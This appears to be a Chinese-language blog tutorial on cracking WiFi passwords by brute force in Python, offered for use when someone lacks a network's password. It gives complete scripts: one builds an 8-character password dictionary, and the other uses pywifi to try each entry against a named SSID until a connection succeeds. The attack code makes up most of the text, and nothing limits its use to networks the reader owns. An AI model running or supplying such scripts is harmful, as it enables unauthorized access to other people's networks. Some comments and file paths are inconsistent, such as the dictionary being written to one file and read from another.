使用python暴力破解WiFi密码
当我们遇到没有网络,有WiFi但不知道密码的情况或者是练习python时可以使用这几行简单的代码去破解wifi密码
准备工作
一:python环境
二:pycharm/其他可以运行python代码平台
三:安装pywifi库
注意:在首次安装完pywifi库后可能会报错
ModuleNotFoundError: No module named ‘comtypes
缺少comtypes模块
四:WiFi密码字典
步骤:首先安装pywifi库
可以在cmd中使用pip命令
pip install pywifi
出现这个提示时,需要升级pip
python -m pip install --upgrade pip 使用改命名升级
升级完成后可以使用
pip show comtypes 查看一下有没有缺少comtypes模块,防止出现模块缺少而导致的报错,提前解决注意中提到的问题
安装完成后就可以使用字典生成代码去生成wifi密码字典(看密码位数,时间比较久)
import itertools as its import datetime # 记录程序运行时间 start = datetime.datetime.now() words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' # 大小写字母 + 数字 组合 # words = '0123456789' # 纯数字 # 生成密码的位数 r = its.product(words, repeat=8) # 即生成8位密码,正常情况下热点密码位数为8 dic = open(r"C:\Users\Administrator\Desktop\alphabetPass.txt", 'a') # alphabetPass.txt 是密码本名称 for i in r: dic.write(''.join(i)) dic.write(''.join('\n')) print(i) dic.close() print('密码本生成好了') end = datetime.datetime.now() print("生成密码本一共用了多长时间:{}".format(end - start))
运行效果
当密码生成完成后,使用pywifi库去破解密码
# coding:utf-8 import pywifi from pywifi import const import time import datetime # 测试连接,返回链接结果 def wifiConnect(pwd): # 抓取网卡接口 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 ifaces = wifi.interfaces()[0] # 断开所有连接 ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: # 创建WiFi连接文件 profile = pywifi.Profile() # 要连接WiFi的名称 profile.ssid = "CU_fb5g_2.4G" # 网卡的开放状态 profile.auth = const.AUTH_ALG_OPEN # wifi加密算法,一般wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密单元 profile.cipher = const.CIPHER_TYPE_CCMP # 调用密码 profile.key = pwd # 删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() # 设定新的连接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi连接时间 time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有wifi连接") # 读取密码本 def readPassword(): print("开始破解:") # 密码本路径 path = "C:\\Users\\Administrator\\Desktop\\numberPass.txt" # 打开文件 file = open(path, "r") while True: try: # 一行一行读取 pad = file.readline() bool = wifiConnect(pad) if bool: print("密码已破解: ", pad) print("WiFi已自动连接!!!") break else: # 跳出当前循环,进行下一次循环 print("密码破解中....密码校对: ", pad) except: continue start = datetime.datetime.now() readPassword() end = datetime.datetime.now() print("破解WIFI密码一共用了多长时间:{}".format(end - start))
注意修改WiFi名称
在破解过程中可能会报错,那只是当前使用的密码不符合utf-8编码而已,很快就会运行下一组密码